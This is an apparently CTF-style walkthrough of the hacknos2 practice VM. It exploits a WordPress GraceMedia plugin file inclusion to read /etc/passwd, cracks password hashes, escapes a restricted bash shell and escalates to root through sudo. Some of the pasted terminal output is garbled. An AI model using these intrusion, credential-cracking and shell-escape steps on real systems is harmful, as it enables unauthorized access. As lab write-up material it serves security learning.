# hacknos2

## Nmap version scan, all TCP port

# Nmap default scripts scan, all TCP port

Gobuster scan, enumerating directories for the webserver

Be sure to edit host files properly, else the webpage won't display the webpage properly. In this case hostname must be hacknos.ova

### Wpscan, enumerate users

root@kali:/tmp/crack# wpscan --url http://hacknos.ova/tsweb -eu

Wpscan, enumerate vulnerable plugins

```
gracemedia-media-player
Location: http://hacknos.ova/tsweb/wp-content/plugins/gracemedia-media-player/
Latest Version: 1.0 (up to date)
Last Updated: 2013-07-21T15:09:00.000Z
Detected By: Urls In Homepage (Passive Detection)
[1] 1 vulnerability identified:
    Title: GraceMedia Media Player 1.0 - Local File Inclusion (LFI)
    References:
     - https://wpvulndb.com/vulnerabilities/9234
     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618
     - https://www.exploit-db.com/exploits/46537/

    https://seclists.org/fulldisclosure/2019/Mar/26

Version: 1.0 (100% confidence)
Detected By: Readme - Stable Tag (Aggressive Detection)
 - http://hacknos.ova/tsweb/wp-content/plugins/gracemedia-media-player/readme.txt
Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 - http://hacknos.ova/tsweb/wp-content/plugins/gracemedia-media-player/readme.tx
```

```
Looking for an avenue for entry, looks promising
```

```
root@kali:/tmp/crack# searchsploit GraceMedia

Exploit Title

WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion
```

Description of the exploit

#### Send a GET request to web server via burp



Reply indicates that exploit was successful and that hash is displayed in the passwd file Note that for flag, the shell upon login is a restricted shell

### Response

```
Raw Headers Hex
```

```
HTTP/1.0 500 Internal Server Error
Date: Fri, 13 Dec 2019 11:39:38 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Lenath: 1685
Connection: close
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
qnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
rohit:x:1000:1000:hackNos:/home/rohit:/bin/bash
```

## Password for flag cracked

```
root@kali:/tmp/crack# john --show hash.txt
?:topsecret

1 password hash cracked, 0 left
root@kali:/tmp/crack# |
```

flag:\$1\$flag\$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash

mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

```
Could not chdir to home directory /home/flag: No such file or directory flag@hacknos:/$ echo $SHELL /bin/rbash flag@hacknos:/$ cd home -rbash: cd: restricted flag@hacknos:/$
```

### Breaking out of restricted bash

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

```
flag@hacknos:/$ find /etc/passwd -type f -exec /bin/sh \;
$ /bin/bash -p
flag@hacknos:/$ cd home
flag@hacknos:/home$ ls -lah
total 12K
drwxr-xr-x 3 root root 4.0K Nov 17 18:54 .
drwxr-xr-x 24 root root 4.0K Dec 13 11:03 ..
drwxr-x-x 4 rohit rohit 4.0K Nov 17 18:53 rohit
flag@hacknos:/home$
```

### Privilege escalation

```
flag@hacknos:/var$ cd backups/
flag@hacknos:/var/backups$ ls -lah
total 52K
drwxr-xr-x 3 root root 4.0K Dec 13 10:57 .
drwxr-xr-x 14 root root 4.0K Nov 17 17:34 ...
-rw-r--r-- 1 root root 33K Nov 17 22:09 apt.extended_states.0
-rw-r--r-- 1 root root 3.5K Nov 17 17:40 apt.extended states.1.gz
drwxr-xr-x 2 root root 4.0K Nov 17 21:44 passbkp
flag@hacknos:/var/backups$ cd passbkp/
flag@hacknos:/var/backups/passbkp$ ls -lah
total 12K
drwxr-xr-x 2 root root 4.0K Nov 17 21:44 .
drwxr-xr-x 3 root root 4.0K Dec 13 10:57 ...
-rw-r--r-- 1 root root 32 Nov 17 21:44 md5-hash
flag@hacknos:/var/backups/passbkp$ cat md5-hash
$1$rohit$01Dl0NQKtgfeL08fGrggi0
flag@hacknos:/var/backups/passbkp$
```

### Cracking rohit's password

### User.txt

```
oot@hacknos:/home/rohit# ls -lah
total 48K
drwxr-x--x 4 rohit rohit 4.0K Nov 17 18:53
                         4.0K Nov
            root
                   root
            rohit rohit 2.7K Nov
                                     21:46 .bash history
            rohit rohit 220 Apr
                                      2018 .bash logout
                                   4
                                      2018 .bashrc
            rohit rohit 3.7K Apr
                                     17:32 .cache
            rohit rohit 4.0K Nov
            rohit rohit 4.0K Nov
                                           .gnupg
            root root 120 Nov
                                           .mysql_history
                                      2018 .profile
            rohit rohit
                          807 Apr
                                           .sudo_as_admin_successful
            rohit rohit
                          0 Nov
            root
                   root
                          702 Nov
                                           user.txt
             rohit rohit 7.7K Nov
                                           .viminfo
```

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
root@hacknos:/home/rohit#

#### User is able to run all comand as root

```
rohit@hacknos:~$ sudo =1
[sudo] password for rohit:
Matching Defaults entries for rohit on hacknos:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin
User rohit may run the following commands on hacknos:
    (ALL: ALL) ALL
rohit@hacknos:~$ sudo su
root@hacknos:/home/rohit# cd /root
```

#### Root flag

